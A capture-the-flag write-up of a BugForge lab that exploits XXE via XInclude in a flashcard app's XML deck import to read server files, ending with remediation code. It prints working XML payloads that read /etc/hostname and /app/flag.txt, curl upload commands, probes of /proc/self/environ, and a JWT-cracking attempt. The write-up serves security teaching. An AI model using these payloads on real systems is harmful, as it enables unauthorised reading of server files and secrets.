Tanuki: XXE via XInclude Bypass
Overview
- Platform: BugForge
- Vulnerability: XXE via XInclude — Arbitrary File Read
- Key Technique: XInclude directive bypass of DTD restrictions in XML parser to exfiltrate server files
- Result: Read /app/flag.txt via crafted XML deck import
Objective
Capture the flag by exploiting the Tanuki flashcard study application.
Initial Access
# Target Application
URL: https://lab-1774304876100-b1eca1.labs-app.bugforge.io
# Auth details
POST /api/register (no auth required) — returns JWT (HS256) + user object
Registered as user "haxor" (id: 4)
JWT payload: {"id":4,"username":"haxor","iat":1774304896} — no expiry claim
Key Findings
- XXE via XInclude — Arbitrary File Read (CWE-611: Improper Restriction of XML External Entity Reference)
- The
/api/decks/importendpoint accepts XML file uploads and processes XInclude directives - Classic DOCTYPE-based XXE is blocked (DTDs disabled), but XInclude bypasses this entirely
- File content is stored in the database and returned via the study cards API
- Impact: Read arbitrary files from the server filesystem
- The
- Overly Permissive CORS (CWE-942: Permissive Cross-domain Policy)
Access-Control-Allow-Origin: *allows any origin to make authenticated requests
- JWT Without Expiration (CWE-613: Insufficient Session Expiration)
- JWT tokens have no
expclaim — tokens never expire
- JWT tokens have no
Attack Chain Visualization
┌─────────────┐ ┌──────────────────┐ ┌────────────────────┐
│ Register │────▶│ Craft XML Deck │────▶│ Upload via │
│ Account │ │ with XInclude │ │ /api/decks/import │
│ (get JWT) │ │ file:// href │ │ (multipart) │
└─────────────┘ └──────────────────┘ └────────┬───────────┘
│
▼
┌────────────────────┐
│ GET /api/study/ │
│ :deckId/cards │
│ │
│ File content in │
│ card <front> field│
└────────────────────┘
Application Architecture
| Component | Path | Description |
|---|---|---|
| Frontend | / | React SPA (flashcard study interface) |
| Auth API | /api/register, /api/login | JWT HS256 authentication |
| Deck API | /api/decks, /api/decks/import | Deck CRUD + XML/JSON import |
| Study API | /api/study/:id/cards | Card retrieval for study sessions |
| Admin API | /api/admin/* | Role-gated admin endpoints (403 for non-admin) |
Exploitation Path
Step 1: Register and Enumerate
Registered an account to obtain a JWT for authenticated requests. Mapped the API surface by inspecting the React SPA’s network requests and JavaScript bundles.
# Register
curl -s -X POST https://lab-1774304876100-b1eca1.labs-app.bugforge.io/api/register \
-H "Content-Type: application/json" \
-d '{"username":"haxor","password":"haxor123"}'
Response returned a JWT and user object (id: 4). Pre-existing users 1-3 suggested admin accounts.
Step 2: Identify XML Import Endpoint
The /api/decks/import endpoint accepts multipart file uploads in both JSON and XML format. This immediately flagged XXE as a potential attack vector.
Step 3: Test Classic XXE (DOCTYPE) — Blocked
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<deck>
<name>XXE Test</name>
<description>test</description>
<category>test</category>
<cards>
<card>
<front>&xxe;</front>
<back>.</back>
</card>
</cards>
</deck>
Result: Deck created with default values and 0 cards. DTD processing is disabled — the parser silently ignores DOCTYPE declarations.
Step 4: Test XInclude — Success
XInclude is a separate XML mechanism that doesn’t require a DOCTYPE declaration. It uses a namespace-qualified element to include external content.
<?xml version="1.0" encoding="UTF-8"?>
<deck>
<name>Exfil</name>
<description>test</description>
<category>test</category>
<cards>
<card>
<front><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///etc/hostname" parse="text"/></front>
<back>.</back>
</card>
</cards>
</deck>
curl -s -X POST https://lab-1774304876100-b1eca1.labs-app.bugforge.io/api/decks/import \
-H "Authorization: Bearer <JWT>" \
-F "file=@exfil.xml"
Retrieved the card via /api/study/:deckId/cards — the <front> field contained “Flag is somewhere else” (the content of /etc/hostname). XInclude processing is enabled.
Step 5: Locate and Exfiltrate the Flag
Iterated through common flag locations:
| File | Result |
|---|---|
| /etc/hostname | “Flag is somewhere else” |
| /flag | [object Object] — does not exist |
| /flag.txt | [object Object] — does not exist |
| /proc/self/environ | Resolved to hostname (null bytes broke parsing) |
| /app/flag.txt | bug{PgwvvK4PAV4ZMXn5Fu3n9z9BmUJOHebf} |
| /app/.env | [object Object] — does not exist |
Final payload targeting /app/flag.txt:
<?xml version="1.0" encoding="UTF-8"?>
<deck>
<name>Exfil</name>
<description>test</description>
<category>test</category>
<cards>
<card>
<front><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///app/flag.txt" parse="text"/></front>
<back>.</back>
</card>
</cards>
</deck>
Flag / Objective Achieved
bug{PgwvvK4PAV4ZMXn5Fu3n9z9BmUJOHebf}
Flag retrieved from /app/flag.txt via XInclude file read through the deck import functionality.
Key Learnings
- XInclude vs DOCTYPE XXE: Disabling DTD processing does not prevent XInclude-based XXE. XInclude is a separate W3C specification that must be independently disabled in the parser configuration.
- Data persistence as exfil channel: The application stores XML-parsed content in the database, making file reads retrievable through normal API endpoints rather than requiring out-of-band exfiltration.
- Non-existent file behavior: When XInclude targets a file that doesn’t exist, the parser returns
[object Object]— this is a reliable indicator of a missing file vs. an empty file in Node.js XML parsers (likely libxmljs). - Null byte sensitivity:
/proc/self/environfailed because null byte separators between environment variables break XInclude’sparse="text"mode.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| JWT secret cracking (hashcat, rockyou) | Exhausted 14M candidates | Secret not in common wordlists |
| Classic XXE (DOCTYPE + ENTITY) | Deck created with defaults, 0 cards | DTD processing entirely disabled |
| IDOR on user resources | No broken access control found | Decks intentionally shared across users |
| /proc/self/environ via XInclude | Resolved to hostname string | Null byte separators break parse=”text” |
| Admin endpoint access (/api/admin/*) | 403 “Admin access required” | Role-gated, JWT forgery not pursued |
Tools Used
| Tool | Purpose |
|---|---|
| curl | API interaction and file upload |
| hashcat | JWT secret cracking attempt |
| Burp Suite / Browser DevTools | API surface enumeration via network traffic |
Remediation
1. XXE via XInclude — Arbitrary File Read (CVSS: 7.5 - High)
Issue: XML parser processes XInclude directives, allowing server-side file reads through crafted XML uploads.
CWE Reference: CWE-611 — Improper Restriction of XML External Entity Reference
Fix:
// BEFORE (Vulnerable)
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(xmlString, { xinclude: true });
// AFTER (Secure)
const libxmljs = require('libxmljs');
const doc = libxmljs.parseXml(xmlString, {
noent: false,
dtdload: false,
dtdvalid: false,
xinclude: false // Explicitly disable XInclude processing
});
// BEST: Restrict import to JSON-only if XML is not a business requirement
app.post('/api/decks/import', upload.single('file'), (req, res) => {
const deck = JSON.parse(req.file.buffer.toString());
// ... process JSON deck
});
2. Overly Permissive CORS (CVSS: 5.3 - Medium)
Issue: Access-Control-Allow-Origin: * allows any origin to interact with authenticated API endpoints.
CWE Reference: CWE-942 — Permissive Cross-domain Policy with Untrusted Domains
Fix:
// BEFORE (Vulnerable)
app.use(cors({ origin: '*' }));
// AFTER (Secure)
app.use(cors({
origin: 'https://tanuki.example.com',
credentials: true
}));
3. JWT Without Expiration (CVSS: 3.7 - Low)
Issue: JWT tokens are issued without an exp claim, meaning they never expire.
CWE Reference: CWE-613 — Insufficient Session Expiration
Fix:
// BEFORE (Vulnerable)
const token = jwt.sign({ id: user.id, username: user.username }, secret);
// AFTER (Secure)
const token = jwt.sign({ id: user.id, username: user.username }, secret, {
expiresIn: '1h'
});
OWASP Top 10 Coverage
- A05:2021 — Security Misconfiguration: XInclude processing enabled in XML parser without business need; overly permissive CORS policy
- A07:2021 — Identification and Authentication Failures: JWT tokens without expiration claims
- A08:2021 — Software and Data Integrity Failures: Untrusted XML input processed without adequate restrictions
References
- OWASP XXE Prevention Cheat Sheet
- W3C XInclude Specification
- PortSwigger — Exploiting XInclude to retrieve files
- CWE-611: Improper Restriction of XML External Entity Reference
Tags: #xxe #xinclude #xml #file-read #bugforge #node-express
Document Version: 1.0
Last Updated: 2026-03-23